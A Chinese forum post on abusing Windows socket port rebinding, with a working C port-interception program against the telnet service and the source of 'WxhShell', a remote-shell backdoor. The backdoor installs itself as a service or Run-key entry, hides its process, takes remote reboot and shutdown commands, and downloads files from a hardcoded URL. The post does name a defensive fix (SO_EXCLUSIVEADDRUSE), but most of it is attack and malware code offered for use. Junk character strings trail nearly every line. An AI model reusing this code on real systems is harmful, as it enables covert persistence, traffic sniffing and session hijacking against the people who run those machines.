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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rM >V=|9,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1f pS"_}  
J PzQBc5e  
  saddr.sin_family = AF_INET; s eZ<52f2  
*_).UAP.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ch,Zk )y:_  
D`~{[cv)\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); iP? ASqo{  
5q_OuZ/6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Uh|__DUkh  
r)#"$Sm  
  这意味着什么?意味着可以进行如下的攻击: )`+@j.75  
@aV~.!!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Vg,>7?]6h  
q V UUuyF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wq_oh*"  
Y1E>T-Ma  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q[|`&6B  
3Llj_lf  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Zqs-I8y  
a6k(O8Ank3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _9-D3_P[3  
=u3@ Dhw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z/05 wB  
3Gd&=IJ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 R,5$ 0_]|+  
(~pEro]?+)  
  #include ~~:8Yv[(  
  #include 97))'gC  
  #include ?.Yw%{?TG  
  #include    ;`PkmAg  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,nChwEn  
  int main() 7+!7]'V  
  { Y\z\{JW  
  WORD wVersionRequested; cV_IG}LJ  
  DWORD ret; o(>-:l i0  
  WSADATA wsaData; JTh =JHJ  
  BOOL val; z vylL M  
  SOCKADDR_IN saddr; U1HD~  
  SOCKADDR_IN scaddr; C94UF7al  
  int err; hHl-;%#  
  SOCKET s; #HuA(``[d  
  SOCKET sc; O"^a.`27  
  int caddsize; &P{p\v2Y  
  HANDLE mt; )< a8a@  
  DWORD tid;   G* ~*2>~  
  wVersionRequested = MAKEWORD( 2, 2 ); Is6']bYh  
  err = WSAStartup( wVersionRequested, &wsaData ); ^'I5]cRa  
  if ( err != 0 ) { M7<#=pX&  
  printf("error!WSAStartup failed!\n"); oJJ k  
  return -1; 2SPFjpG8n  
  } =O'%)Y&  
  saddr.sin_family = AF_INET; fYQi#0drn  
   i`nw"8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ryp$|?ckJ  
#Xw[i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +ZA\ M:^b  
  saddr.sin_port = htons(23); 6BN(^y#-X  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kbT-Oz  2  
  { pdha" EV  
  printf("error!socket failed!\n"); OUk5c$M(  
  return -1; IZv, Wo  
  } s>``- ]3  
  val = TRUE; 2[&-y[1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "gikX/Co=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) iN4'jD^oP  
  { lvJ{=~u  
  printf("error!setsockopt failed!\n"); I+d(r"N1  
  return -1; s&`XK$p  
  } L8tLW09  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^RAFmM#F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .QQI~p0:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 dlzamoS@AR  
g7z9i[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) JR<-'  
  { y^46z( I  
  ret=GetLastError(); 3R:i*8C  
  printf("error!bind failed!\n"); <.(/#=2  
  return -1; 9w<Bm"G  
  } 1HWJxV"  
  listen(s,2); N_k6UA9  
  while(1) UR2)e{RXg  
  { A^@<+?  
  caddsize = sizeof(scaddr); yIf}b  
  //接受连接请求 LqsJHG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^r :A^q  
  if(sc!=INVALID_SOCKET) !gew;Jz  
  { N&h!14]{ Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6Oba}`)q9  
  if(mt==NULL) 8 (h  
  { dsZ ( D:)  
  printf("Thread Creat Failed!\n"); sK/"  
  break; i6:yNb ='  
  } DF|lUO]:  
  } "EhO )lR  
  CloseHandle(mt); }~'Wz*Gm  
  } "}+/ 0$F  
  closesocket(s); ;L%~c4`l~m  
  WSACleanup(); |B$\3,  
  return 0; A y[L{!)2{  
  }   KmOa^vY1.T  
  DWORD WINAPI ClientThread(LPVOID lpParam) xLK0~|_#!  
  { 'R'a/ZR`B7  
  SOCKET ss = (SOCKET)lpParam; 9:w,@Phe  
  SOCKET sc; -86:PL(I"  
  unsigned char buf[4096]; FF!g9>  
  SOCKADDR_IN saddr; $cU/Im`  
  long num; R,+(JgJ  
  DWORD val; Byj~\QMD|  
  DWORD ret; r K)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pP,bW~rk  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   YY~=h5$  
  saddr.sin_family = AF_INET; `#8R+c=$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); OT3;qT*fw  
  saddr.sin_port = htons(23); * .VZ(wX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1+}Ud.v3VW  
  { V>92/w.fe  
  printf("error!socket failed!\n"); Fh $&puF2  
  return -1; 9?$!=4  
  } RAbq_^Q  
  val = 100; %<|KJb4?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m e{SVG{  
  { a`iAA1HJ  
  ret = GetLastError(); W(4?#lA2W  
  return -1; " z'!il#  
  } BQ0\+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :Ia&,;Gc  
  { =T}uQ$X  
  ret = GetLastError(); QXj(U&#rp  
  return -1; S5a<L_  
  } (#M$t!'%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G@!9)v]9  
  { 1^^D :tt  
  printf("error!socket connect failed!\n"); S Tk#hhx  
  closesocket(sc); JHH&@Cn  
  closesocket(ss); T=dvc}  
  return -1; >v,j;[(  
  } (r\h dLX  
  while(1) MXV4bgltT  
  { 3~xOO*`o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =W*`HV-w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @0'|Uygn  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *7ro [  
  num = recv(ss,buf,4096,0); ?} tQaj  
  if(num>0) {K8T5zrV  
  send(sc,buf,num,0); -V/i%_+Ze  
  else if(num==0) S\!E;p  
  break; 0*@S-Lj^c  
  num = recv(sc,buf,4096,0); D+""o"%  
  if(num>0) jloyJ@ck  
  send(ss,buf,num,0); <t37DnCgI  
  else if(num==0) In M'zAhb  
  break; Y g?{x@  
  } xR`2+t&t  
  closesocket(ss); jpv,0(  
  closesocket(sc); E/']M~Q  
  return 0 ; ", )  
  } {?hjx+v[  
0%+k>(@ R  
r'\TS U5!  
========================================================== :%MWbnVSC,  
wwn}enEz,x  
下边附上一个代码,,WXhSHELL eCd?.e0@j  
N@0scfO6<  
========================================================== \"Iy <zG  
Dx'e+Bm  
#include "stdafx.h" dxWw%_Q  
=T$- #bA)  
#include <stdio.h> ]#n4A|&H  
#include <string.h> NLY5L7  
#include <windows.h> w,9F riW  
#include <winsock2.h> 3vU (4}@  
#include <winsvc.h> \]%U?`A  
#include <urlmon.h> Y&:i^k  
5K{h)* *5  
#pragma comment (lib, "Ws2_32.lib") OhEL9"\<  
#pragma comment (lib, "urlmon.lib") }*.*{I  
_AYF'o-Cm  
#define MAX_USER   100 // 最大客户端连接数 >.\E'e5^C  
#define BUF_SOCK   200 // sock buffer PM7/fv*,  
#define KEY_BUFF   255 // 输入 buffer 9To6Rc;  
\/v$$1p2  
#define REBOOT     0   // 重启 *Fws]y2t~  
#define SHUTDOWN   1   // 关机 e,8-P-h~T  
cC.DBYV+-  
#define DEF_PORT   5000 // 监听端口 R 0}%   
sXu+F2O  
#define REG_LEN     16   // 注册表键长度 I&Y(]S,cU  
#define SVC_LEN     80   // NT服务名长度 aa/9o ]  
,qB081hPG  
// 从dll定义API 8F1!9W7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jq{Ix  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2wQ CQ"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >qA&;M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SZvsJ)  
Uw"   
// wxhshell配置信息 Xk'.t|  
struct WSCFG { `l#g`~L  
  int ws_port;         // 监听端口 8t%1x|!  
  char ws_passstr[REG_LEN]; // 口令 ?f..N,s  
  int ws_autoins;       // 安装标记, 1=yes 0=no Kq$1lPI  
  char ws_regname[REG_LEN]; // 注册表键名 7ZZt|bl  
  char ws_svcname[REG_LEN]; // 服务名 {wI0 =U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -S @:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =P{RHhWy;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y e'5 A   
int ws_downexe;       // 下载执行标记, 1=yes 0=no GWKefH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v<1;1m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NO ^(D+9  
QUf_fe!,|  
}; Gj3/&'k6  
'Iu(lpF&  
// default Wxhshell configuration v*3:8Y,  
struct WSCFG wscfg={DEF_PORT, wn`budH?c8  
    "xuhuanlingzhe", 1CbC|q  
    1, whCv9)x  
    "Wxhshell", v(`$%V.  
    "Wxhshell", M .,|cx  
            "WxhShell Service", 2uIAnbW]M  
    "Wrsky Windows CmdShell Service", FhGbQJ?[3  
    "Please Input Your Password: ", z@~rm9d  
  1, 14RL++  
  "http://www.wrsky.com/wxhshell.exe", pjFgIG2=9  
  "Wxhshell.exe" B|v fkX2f  
    }; d@hJ=-4  
16vfIUtb  
// 消息定义模块 zeX?]@]Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GCHssw~P'v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .+yJ'*i$d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <FE O6YP  
char *msg_ws_ext="\n\rExit."; 71_N9ub@z  
char *msg_ws_end="\n\rQuit."; EX_& wep@1  
char *msg_ws_boot="\n\rReboot..."; WlUE&=|Oz2  
char *msg_ws_poff="\n\rShutdown..."; G1rgp>m  
char *msg_ws_down="\n\rSave to "; P}gh-5x  
Jp- hFD  
char *msg_ws_err="\n\rErr!"; \Z8!iruN  
char *msg_ws_ok="\n\rOK!"; \B)<<[ $  
iYnt:C  
char ExeFile[MAX_PATH]; GfDA5v[  
int nUser = 0; \XC1/LZQ  
HANDLE handles[MAX_USER]; c{~*\&  
int OsIsNt; *"@P2F&  
v&Kw 3!X#E  
SERVICE_STATUS       serviceStatus; eC?N>wHH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2;/hFwm  
4y 'REC  
// 函数声明 ":OXs9Yg  
int Install(void); 5zU$_M  
int Uninstall(void); 9V~yK?  
int DownloadFile(char *sURL, SOCKET wsh); -UO$$)Q  
int Boot(int flag); rlD@O~P4  
void HideProc(void); Ch3##-  
int GetOsVer(void); ;I>`!|mT  
int Wxhshell(SOCKET wsl); +xMDm_TGLA  
void TalkWithClient(void *cs); RaAq>B WPr  
int CmdShell(SOCKET sock); qp Z ".  
int StartFromService(void); 5gGr|d|(  
int StartWxhshell(LPSTR lpCmdLine); j.o)!S A  
9E5B.qlw$l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FE`J.aw^X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fw<'ygd  
^#+9v  
// 数据结构和表定义 /=%4gWtr  
SERVICE_TABLE_ENTRY DispatchTable[] = XIU2l}g  
{ lG2){){j  
{wscfg.ws_svcname, NTServiceMain}, gb-n~m[y  
{NULL, NULL} n}2}4^  
}; I/'>Bn+  
. @.CQB=E  
// 自我安装 ctf'/IZ5  
int Install(void) >a,w8^7  
{  m{~r6@  
  char svExeFile[MAX_PATH]; YV+e];s  
  HKEY key; B6BOy~B0  
  strcpy(svExeFile,ExeFile); QFMS]  
b+kb7  
// 如果是win9x系统,修改注册表设为自启动 X:YxsZQ 5Y  
if(!OsIsNt) { Z=#!FZ{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q;rU}hAzG0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I)clGMS,  
  RegCloseKey(key); c8(.bmvF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %BL+'&q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4WLB,<b}  
  RegCloseKey(key); 1*XqwBV  
  return 0; H]cCyuCdH  
    } ak%8|'}  
  } i+OyBDkJM!  
} Q?~l=}2  
else { 7JbN WN  
#VLTx!5o  
// 如果是NT以上系统,安装为系统服务 'SC`->F4D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FK->|  
if (schSCManager!=0) cng 1k  
{ h-<+Pjc  
  SC_HANDLE schService = CreateService qu?D`29  
  ( t JJaIb6Xj  
  schSCManager, 5z0SjQ  
  wscfg.ws_svcname, dme_Ivt  
  wscfg.ws_svcdisp, *h`zV<j  
  SERVICE_ALL_ACCESS, ,$*$w<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5'X.Z:  
  SERVICE_AUTO_START, rKO[;]_*  
  SERVICE_ERROR_NORMAL, ^+-i7`|=  
  svExeFile, &Oe,$%{hBh  
  NULL, 1&U U6|X  
  NULL, VQ +Xh  
  NULL, %.]qkGZe#  
  NULL, ~GZ(Ou-&  
  NULL =h4XsV)rO  
  ); &",pPu q  
  if (schService!=0) OfPWqNpO  
  { %GJ, &b|  
  CloseServiceHandle(schService); ?]:3`;h3  
  CloseServiceHandle(schSCManager); ^;L;/I[-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }_K7}] 1  
  strcat(svExeFile,wscfg.ws_svcname); JD.WH|sZ5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?>2k>~xlQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |@Bl?Bs+  
  RegCloseKey(key); (%tKGeb  
  return 0; vFQ'sd]C  
    }  1D6iJ  
  } u\50,N9Wp{  
  CloseServiceHandle(schSCManager); =YR/|9(  
} 9\V^q9l  
} XJ.vj+XXb  
90;[5c   
return 1; [^#6.xH  
}  IS!sJc  
moh7:g  
// 自我卸载 23zB@aE_?1  
int Uninstall(void) k<m{Wp;-  
{ gE|_hfm(  
  HKEY key;  kf';"  
-r[l{ce  
if(!OsIsNt) { 8@Pv nOL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t 7+ifSrz  
  RegDeleteValue(key,wscfg.ws_regname); ;:f.a(~c  
  RegCloseKey(key); ;8H m#p7,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { woQYP,  
  RegDeleteValue(key,wscfg.ws_regname); 3s" Rv@  
  RegCloseKey(key); 2}K7(y!?u  
  return 0; 4;x{@Ln  
  } UE5T%zd/  
} o@vo,JU  
} tv5G']vO\  
else { SZNM$X|T  
Eb[*nWF=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); + Uq$'2CT  
if (schSCManager!=0) :A>cf}  
{ ^As^hY^p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >HXT:0  
  if (schService!=0) $o0o5 ^Z-  
  { n)gzHch  
  if(DeleteService(schService)!=0) { ) m[0,  
  CloseServiceHandle(schService); -b8Vz}Y  
  CloseServiceHandle(schSCManager); ckS.j)@.c  
  return 0; -m3 O\X  
  } voEg[Gg4%I  
  CloseServiceHandle(schService); ng"R[/)In  
  } xM'bb5  
  CloseServiceHandle(schSCManager); ;kDz9Va  
} 8A#qbBD  
} |#>\GU=!  
u?i_N0H  
return 1; 8i;EpAwB  
} j@ lHgis  
q{ i9VJ]  
// 从指定url下载文件 2Gd.B/L6  
int DownloadFile(char *sURL, SOCKET wsh) L TzD\C'  
{ vWc=^tT   
  HRESULT hr; W{<_gD9  
char seps[]= "/"; &]iiBp#2  
char *token; B/6wp^#VX  
char *file; 1^jGSB.%A  
char myURL[MAX_PATH]; yHsmX2s  
char myFILE[MAX_PATH]; ,3=|a|p  
},lHa!<^  
strcpy(myURL,sURL); 8>%:MS"  
  token=strtok(myURL,seps); :Xq qhG  
  while(token!=NULL) W1fEUVj  
  { @@M 2s(  
    file=token; rOHU)2  
  token=strtok(NULL,seps); J'jwRn  
  } kr[p4X4  
ux:czZqy  
GetCurrentDirectory(MAX_PATH,myFILE); @z[,w`  
strcat(myFILE, "\\"); 0Z $=2c?xT  
strcat(myFILE, file); K-vG5t0$\/  
  send(wsh,myFILE,strlen(myFILE),0); fMgB!y"Em  
send(wsh,"...",3,0); -^yb[b,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CY"&@v1  
  if(hr==S_OK) ssj(-\5  
return 0; 2iO AUo+  
else ;/l$&:  
return 1; _~]~ssn,1  
o."k7fLB  
} Myaj81  
QhR.8iS  
// 系统电源模块 Y>W$n9d&G2  
int Boot(int flag) o}O"  
{ <+o*"z\mI  
  HANDLE hToken; |, #DB  
  TOKEN_PRIVILEGES tkp; _kGJqyYV  
}ya@*jH  
  if(OsIsNt) { 5G  @  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sF-{ (  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IsP-[0it  
    tkp.PrivilegeCount = 1; "x~VXU%xU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DO6Tz -%o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =Y!x  
if(flag==REBOOT) { 4 JC*c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PW7{,1te,  
  return 0; RI.6.f1dy  
} ;J [ed>v;3  
else { /q[5-96c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <j\osw1R  
  return 0; max 5s$@  
} 3>vSKh1z  
  } {P/ sxh:e  
  else { V;}kgWc1  
if(flag==REBOOT) { V}=%/OY?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T .#cd1b  
  return 0; *XN|ZGl/  
} [ =/Yo1:v  
else { 9NzK1V0X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;6+e!h'1  
  return 0; =T7lv%u  
} Qg9*mlm`  
} 5@c/,6l  
n@1;5)&k~  
return 1; q-? k=RX`  
} PH!^ww6  
4sJM!9eb[  
// win9x进程隐藏模块 -o: if F|  
void HideProc(void) 'OEh'\d+x  
{ i*ibx;s-  
3jR>   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;&iZ {  
  if ( hKernel != NULL ) .0ov>4,R  
  { ={'*C7K)oK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s0D,n1x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [te9ui%JS  
    FreeLibrary(hKernel); CB!5>k+mC  
  }  F6'[8f  
7c.96FA  
return; Jeb"t1.$  
} .C HET]  
I7=g8/JD  
// 获取操作系统版本 u V[:e|v  
int GetOsVer(void) vH[G#A~4  
{ s}1S6*Cr  
  OSVERSIONINFO winfo; [B0]%!hFw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,?k0~fuG6  
  GetVersionEx(&winfo); 6I8A[   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8VWkUsOoI  
  return 1; "K Or)QD/  
  else S{uKm1a  
  return 0; &Y `V A  
} H]I^?+)9  
n7EG%q6m+  
// 客户端句柄模块 HLL:nczj  
int Wxhshell(SOCKET wsl) 0 oC5W?>8s  
{ KCDbE6  
  SOCKET wsh; LA +BH_t&  
  struct sockaddr_in client; ' \8|`Zb  
  DWORD myID; bh Nqj  
S`w_q=-^8  
  while(nUser<MAX_USER) h=a-~= 8  
{ 9>QGsf.3  
  int nSize=sizeof(client); Gl!fT1zh0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'ptD`)^(  
  if(wsh==INVALID_SOCKET) return 1; T> < Vw  
Q85Y6',  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n7A %y2  
if(handles[nUser]==0) 'nx";[6(  
  closesocket(wsh); Q|$?d4La8  
else t%k1=Ow5i  
  nUser++; .,vF% pQ  
  } M94zlW<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3QZ~t#,7ij  
#&$a7L}  
  return 0; B8G9V6KS-  
} e6 &-f  
 sJ3O ]  
// 关闭 socket >du _/*8:  
void CloseIt(SOCKET wsh) \>7hT;Av=G  
{ hRc.^"q9  
closesocket(wsh); Y-ZTv(<  
nUser--; ;:`0:Ao.  
ExitThread(0); 4tGP- L  
} 5eL_iNqJM  
Qnr7Qnb  
// 客户端请求句柄 VX'cFqrK3  
void TalkWithClient(void *cs) B* hW  
{ 1woBw>g  
9im<J'  
  SOCKET wsh=(SOCKET)cs; /c4@QbB  
  char pwd[SVC_LEN]; o6b\ w  
  char cmd[KEY_BUFF];  f3E%0cg  
char chr[1]; o$XJSz|6  
int i,j; f7du1k3  
WVMkLMg8d  
  while (nUser < MAX_USER) { Q>QES-.l  
{ K,KIj"  
if(wscfg.ws_passstr) { P;8D|u^\*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Shag4-*@hi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BKJwM'~  
  //ZeroMemory(pwd,KEY_BUFF); ^_0l(ke  
      i=0; Cju%CE3a  
  while(i<SVC_LEN) { Jx-dWfe  
", Ge:\TR=  
  // 设置超时 uG:xd0X+W  
  fd_set FdRead; l,w$!FnmR  
  struct timeval TimeOut; lk[BS*  
  FD_ZERO(&FdRead); iC`mj  
  FD_SET(wsh,&FdRead); J;R1OJs S  
  TimeOut.tv_sec=8; '*d);{D8  
  TimeOut.tv_usec=0; CHGV1X,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xlHC?d0}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3[T<pAZ  
?c7} v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^6?)EM#  
  pwd=chr[0]; jWE?$r"  
  if(chr[0]==0xd || chr[0]==0xa) { sfUKH;xC  
  pwd=0; >P_/a,O8  
  break; [m+):q^  
  } Up*.z\|'y  
  i++; 9~lC/I')t  
    } 2sXNVo8`w"  
jjTb:Z=.'  
  // 如果是非法用户,关闭 socket q"OJF'>w5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }iBFo\vU  
} #CcC& I :c  
w1q`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O)EA2`)E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ug~ ]!L  
,JVWn>s  
while(1) { W6 y-~  
um}%<Cy[  
  ZeroMemory(cmd,KEY_BUFF); O&vE 5%x  
gd=gc<zYP  
      // 自动支持客户端 telnet标准   a}#8n^2  
  j=0; D>>?8a  
  while(j<KEY_BUFF) { rd\:.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iQ7S*s+l5O  
  cmd[j]=chr[0]; na)-'  
  if(chr[0]==0xa || chr[0]==0xd) { EsK.g/d  
  cmd[j]=0; tpQ?E<O  
  break; 9`8D Ga  
  } R32A2Ml  
  j++; p@Va`:RDW  
    } -w3KBlo  
)B1gX>J\8  
  // 下载文件 %+F%C=GqI  
  if(strstr(cmd,"http://")) { Yfa`}hQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8gK  <xp  
  if(DownloadFile(cmd,wsh)) B*c@w~E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4eh~/o&h  
  else i7#PYt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _f1~r^(/T0  
  } R{R'byre  
  else { U1,f$McZs  
("!P_Q#  
    switch(cmd[0]) { .9'bi#:Cw  
  L';b908r2  
  // 帮助 {<J(*K*\Jo  
  case '?': { t7; ^rk*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uNoP8U%*  
    break; !YZ$WiPl  
  } WNo",Vc  
  // 安装 L?:fyNA3[  
  case 'i': { `rQDX<?  
    if(Install()) QswbIP/>:'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lo-\;%y  
    else iFBH;O_~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /'<Qk'   
    break; S9@2-Oc  
    } 6vL+qOdx  
  // 卸载 :3h'Hr  
  case 'r': { 873'=m&  
    if(Uninstall()) \fjr`t]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P"k`h=>!4  
    else -Rcl(Q}LZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3`%U)gCT5  
    break; yG~7Xo5  
    } wrJ:jTh  
  // 显示 wxhshell 所在路径 <JkmJ/X  
  case 'p': { %'vLkjI.  
    char svExeFile[MAX_PATH]; Uk0Fo(HY  
    strcpy(svExeFile,"\n\r"); 079mn/8;  
      strcat(svExeFile,ExeFile); "eOFp\vPr  
        send(wsh,svExeFile,strlen(svExeFile),0); G~$[(Fhk  
    break; j7u\.xu9  
    } hxX-iQya  
  // 重启 1O@y >cV  
  case 'b': { ;:l>Kac  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }g]O_fN7~  
    if(Boot(REBOOT)) WPXLN'w+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jYJRG<*e  
    else { )&$p?kF  
    closesocket(wsh); 1.6Y=Mh=i[  
    ExitThread(0); z pV+W-j]  
    } JA(M'&q4  
    break; {DVu* %|  
    } H7&bUt/  
